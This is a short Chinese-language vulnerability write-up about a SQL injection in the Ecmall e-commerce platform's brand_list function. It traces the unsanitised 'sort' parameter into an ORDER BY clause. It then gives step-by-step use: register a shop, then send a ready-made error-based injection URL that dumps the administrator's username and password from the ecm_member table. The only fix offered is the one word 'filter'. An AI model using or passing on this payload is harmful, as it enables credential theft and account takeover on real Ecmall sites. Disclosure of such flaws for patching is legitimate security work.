Ecmall某处SQL注射漏洞下载

Ecmall某处SQL注入漏洞

缺陷文件：/app/my_goods.app.php

 

function brand_list()

    {

        if (!empty($_GET['brand_name']) || !empty($_GET['store']))

        {

            $_GET['brand_name'] && $filtered = " AND brand_name LIKE '%{$_GET['brand_name']}%'";

            $_GET['store'] && $filtered = $filtered . " AND store_id = " . $this->_store_id;

        }

        if (isset($_GET['sort']) && isset($_GET['order']))

        {

            $sort  = strtolower(trim($_GET['sort']));  //未过滤

            $order = strtolower(trim($_GET['order']));

            if (!in_array($order,array('asc','desc')))

            {

                $sort  = 'store_id';

                $order = 'desc';

            }

        }

        else

        {

            $sort  = 'store_id';

            $order = 'desc';

        }

        $page = $this->_get_page(10);

        $conditions = $this->_get_query_conditions($con);

        $brand = $this->_brand_mod->find(array( //跟踪

            'conditions' => "(1=1 $conditions)" . $filtered,

            'limit' => $page['limit'],

            'order' => "$sort $order",//here

            'count' => true,

        ));

       

function find($params = array())

    {

        extract($this->_initFindParams($params));



        /* 字段(SELECT FROM) */

        $fields = $this->getRealFields($fields);

        $fields == '' && $fields = '*';



        $tables = $this->table . ' ' . $this->alias;



        /* 左联结(LEFT JOIN) */

        $join_result = $this->_joinModel($tables, $join);



        /* 原来为($join_result || $index_key)，忘了最初的用意，默认加上主键应该是只为了为获得索引的数组服务的，因此只跟索引键是否是主键有关 */

        if ($index_key == $this->prikey || (is_array($index_key) && in_array($this->prikey, $index_key)))

        {

            /* 如果索引键里有主键，则默认在要查询字段后加上主键 */

            $fields .= ",{$this->alias}.{$this->prikey}";

        }



        /* 条件(WHERE) */

        $conditions = $this->_getConditions($conditions, true);



        /* 排序(ORDER BY) */

        $order && $order = ' ORDER BY ' . $this->getRealFields($order);//跟踪

		……



function getRealFields($src_fields_list)

    {

        $fields = $src_fields_list;

        if (!$src_fields_list)

        {

            $fields = '';

        }

        $fields = preg_replace('/([a-zA-Z0-9_]+)\.([a-zA-Z0-9_*]+)/e', "\$this->_getFieldTable('\\1') . '.\\2'", $fields);//对注射语句没有影响



        return $fields;

}



function _getFieldTable($owner)

    {

        if ($owner == 'this')

        {

            return $this->alias;

        }

        else

        {

            $m =& m($owner);

            if ($m === false)

            {

                /* 若没有对象，则原样返回 */

return $owner;

            }



            return $m->alias;

        }

    }

存在注射

利用方法：

注册会员开一个店铺

访问：index.php?app=my_goods&act=brand_list&order=asc&sort=1 and (select user_name from ecm_member where user_id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b)%23



即可爆出用户名密码

 

修复方案：

过滤